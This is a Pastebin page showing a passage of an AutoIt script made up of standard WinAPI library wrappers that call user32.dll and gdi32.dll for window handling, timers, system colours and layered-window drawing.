  6094. $aret = DllCall("user32.dll", "dword", "SetClassLongW", "hwnd", $hwnd, "int", $iindex, "long", $inewlong)
  6095. EndIf
  6096. If @error Then Return SetError(@error, @extended, 0)
  6097. Return $aret[0]
  6098. EndFunc
  6099.  
  6100. Func _winapi_setforegroundwindow($hwnd)
  6101. Local $aret = DllCall("user32.dll", "bool", "SetForegroundWindow", "hwnd", $hwnd)
  6102. If @error Then Return SetError(@error, @extended, False)
  6103. Return $aret[0]
  6104. EndFunc
  6105.  
  6106. Func _winapi_setlayeredwindowattributes($hwnd, $itranscolor, $itransgui = 255, $iflags = 3, $bcolorref = False)
  6107. If $iflags = Default OR $iflags = "" OR $iflags < 0 Then $iflags = 3
  6108. If NOT $bcolorref Then
  6109. $itranscolor = Int(BinaryMid($itranscolor, 3, 1) & BinaryMid($itranscolor, 2, 1) & BinaryMid($itranscolor, 1, 1))
  6110. EndIf
  6111. Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "INT", $itranscolor, "byte", $itransgui, "dword", $iflags)
  6112. If @error Then Return SetError(@error, @extended, False)
  6113. Return $aresult[0]
  6114. EndFunc
  6115.  
  6116. Func _winapi_setmessageextrainfo($lparam)
  6117. Local $aret = DllCall("user32.dll", "lparam", "SetMessageExtraInfo", "lparam", $lparam)
  6118. If @error Then Return SetError(@error, @extended, 0)
  6119. Return $aret[0]
  6120. EndFunc
  6121.  
  6122. Func _winapi_setsyscolors($velements, $vcolors)
  6123. Local $bisearray = IsArray($velements), $biscarray = IsArray($vcolors)
  6124. Local $ielementnum
  6125. If NOT $biscarray AND NOT $bisearray Then
  6126. $ielementnum = 1
  6127. ElseIf $biscarray OR $bisearray Then
  6128. If NOT $biscarray OR NOT $bisearray Then Return SetError(-1, -1, False)
  6129. If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
  6130. $ielementnum = UBound($velements)
  6131. EndIf
  6132. Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
  6133. Local $tcolors = DllStructCreate("INT NewColor[" & $ielementnum & "]")
  6134. If NOT $bisearray Then
  6135. DllStructSetData($telements, "Element", $velements, 1)
  6136. Else
  6137. For $x = 0 To $ielementnum - 1
  6138. DllStructSetData($telements, "Element", $velements[$x], $x + 1)
  6139. Next
  6140. EndIf
  6141. If NOT $biscarray Then
  6142. DllStructSetData($tcolors, "NewColor", $vcolors, 1)
  6143. Else
  6144. For $x = 0 To $ielementnum - 1
  6145. DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
  6146. Next
  6147. EndIf
  6148. Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
  6149. If @error Then Return SetError(@error, @extended, False)
  6150. Return $aresult[0]
  6151. EndFunc
  6152.  
  6153. Func _winapi_settimer($hwnd, $itimerid, $ielapse, $ptimerfunc)
  6154. Local $aret = DllCall("user32.dll", "uint_ptr", "SetTimer", "hwnd", $hwnd, "uint_ptr", $itimerid, "uint", $ielapse, "ptr", $ptimerfunc)
  6155. If @error Then Return SetError(@error, @extended, 0)
  6156. Return $aret[0]
  6157. EndFunc
  6158.  
  6159. Func _winapi_setwindowdisplayaffinity($hwnd, $iaffinity)
  6160. Local $aret = DllCall("user32.dll", "bool", "SetWindowDisplayAffinity", "hwnd", $hwnd, "dword", $iaffinity)
  6161. If @error Then Return SetError(@error, @extended, False)
  6162. Return $aret[0]
  6163. EndFunc
  6164.  
  6165. Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
  6166. _winapi_setlasterror(0)
  6167. Local $sfuncname = "SetWindowLongW"
  6168. If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
  6169. Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
  6170. If @error Then Return SetError(@error, @extended, 0)
  6171. Return $aresult[0]
  6172. EndFunc
  6173.  
  6174. Func _winapi_setwindowplacement($hwnd, $twindowplacement)
  6175. Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
  6176. If @error Then Return SetError(@error, @extended, False)
  6177. Return $aresult[0]
  6178. EndFunc
  6179.  
  6180. Func _winapi_showownedpopups($hwnd, $bshow)
  6181. Local $aret = DllCall("user32.dll", "bool", "ShowOwnedPopups", "hwnd", $hwnd, "bool", $bshow)
  6182. If @error Then Return SetError(@error, @extended, False)
  6183. Return $aret[0]
  6184. EndFunc
  6185.  
  6186. Func _winapi_switchtothiswindow($hwnd, $balttab = False)
  6187. DllCall("user32.dll", "none", "SwitchToThisWindow", "hwnd", $hwnd, "bool", $balttab)
  6188. If @error Then Return SetError(@error, @extended, 0)
  6189. Return 1
  6190. EndFunc
  6191.  
  6192. Func _winapi_tilewindows($awnds, $trect = 0, $hparent = 0, $iflags = 0, $istart = 0, $iend = -1)
  6193. If __checkerrorarraybounds($awnds, $istart, $iend) Then Return SetError(@error + 10, @extended, 0)
  6194. Local $icount = $iend - $istart + 1
  6195. Local $twnds = DllStructCreate("hwnd[" & $icount & "]")
  6196. $icount = 1
  6197. For $i = $istart To $iend
  6198. DllStructSetData($twnds, 1, $awnds[$i], $icount)
  6199. $icount += 1
  6200. Next
  6201. Local $aret = DllCall("user32.dll", "word", "TileWindows", "hwnd", $hparent, "uint", $iflags, "struct*", $trect, "uint", $icount - 1, "struct*", $twnds)
  6202. If @error Then Return SetError(@error, @extended, 0)
  6203. Return $aret[0]
  6204. EndFunc
  6205.  
  6206. Func _winapi_unregisterclass($sclass, $hinstance = 0)
  6207. Local $stypeofclass = "ptr"
  6208. If IsString($sclass) Then
  6209. $stypeofclass = "wstr"
  6210. EndIf
  6211. Local $aret = DllCall("user32.dll", "bool", "UnregisterClassW", $stypeofclass, $sclass, "handle", $hinstance)
  6212. If @error Then Return SetError(@error, @extended, False)
  6213. Return $aret[0]
  6214. EndFunc
  6215.  
  6216. Func _winapi_updatelayeredwindow($hwnd, $hdestdc, $tptdest, $tsize, $hsrcdc, $tptsrce, $irgb, $tblend, $iflags)
  6217. Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdestdc, "struct*", $tptdest, "struct*", $tsize, "handle", $hsrcdc, "struct*", $tptsrce, "dword", $irgb, "struct*", $tblend, "dword", $iflags)
  6218. If @error Then Return SetError(@error, @extended, False)
  6219. Return $aresult[0]
  6220. EndFunc
  6221.  
  6222. Func _winapi_updatelayeredwindowex($hwnd, $ix, $iy, $hbitmap, $iopacity = 255, $bdelete = False)
  6223. Local $aret = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  6224. Local $hdc = $aret[0]
  6225. $aret = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
  6226. Local $hdestdc = $aret[0]
  6227. $aret = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdestdc, "handle", $hbitmap)
  6228. Local $hdestsv = $aret[0]
  6229. Local $tpoint
  6230. If ($ix = -1) AND ($iy = -1) Then
  6231. $tpoint = DllStructCreate("int;int")
  6232. Else
  6233. $tpoint = DllStructCreate("int;int;int;int")
  6234. DllStructSetData($tpoint, 3, $ix)
  6235. DllStructSetData($tpoint, 4, $iy)
  6236. EndIf
  6237. DllStructSetData($tpoint, 1, 0)
  6238. DllStructSetData($tpoint, 2, 0)
  6239. Local $tblendfunction = DllStructCreate($tagblendfunction)
  6240. DllStructSetData($tblendfunction, 1, 0)
  6241. DllStructSetData($tblendfunction, 2, 0)
  6242. DllStructSetData($tblendfunction, 3, $iopacity)
  6243. DllStructSetData($tblendfunction, 4, 1)
  6244. Local Const $tagbitmap = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct"
  6245. Local $tobj = DllStructCreate($tagbitmap)
  6246. DllCall("gdi32.dll", "int", "GetObject", "handle", $hbitmap, "int", DllStructGetSize($tobj), "struct*", $tobj)
  6247. Local $tsize = DllStructCreate($tagsize, DllStructGetPtr($tobj, "bmWidth"))
  6248. $aret = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdc, "ptr", DllStructGetPtr($tpoint, 3), "struct*", $tsize, "handle", $hdestdc, "struct*", $tpoint, "dword", 0, "struct*", $tblendfunction, "dword", 2)
  6249. Local $ierror = @error
  6250. DllCall("user32.dll", "bool", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  6251. DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdestdc, "handle", $hdestsv)
  6252. DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdestdc)
  6253. If $ierror Then Return SetError($ierror, 0, False)
  6254. If $bdelete Then
  6255. DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hbitmap)
  6256. EndIf
  6257. Return $aret[0]
  6258. EndFunc
  6259.  
  6260. Func _winapi_updatelayeredwindowindirect($hwnd, $tulwinfo)
  6261. Local $aret = DllCall("user32.dll", "bool", "UpdateLayeredWindowIndirect", "hwnd", $hwnd, "struct*", $tulwinfo)
  6262. If @error Then Return SetError(@error, @extended, False)
  6263. Return $aret[0]
  6264. EndFunc
  6265.  
  6266. Func _winapi_windowfrompoint(ByRef $tpoint)
  6267. Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
  6268. If @error Then Return SetError(@error, @extended, 0)
  6269. Return $aresult[0]
  6270. EndFunc
  6271. #EndRegion Public Functions
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!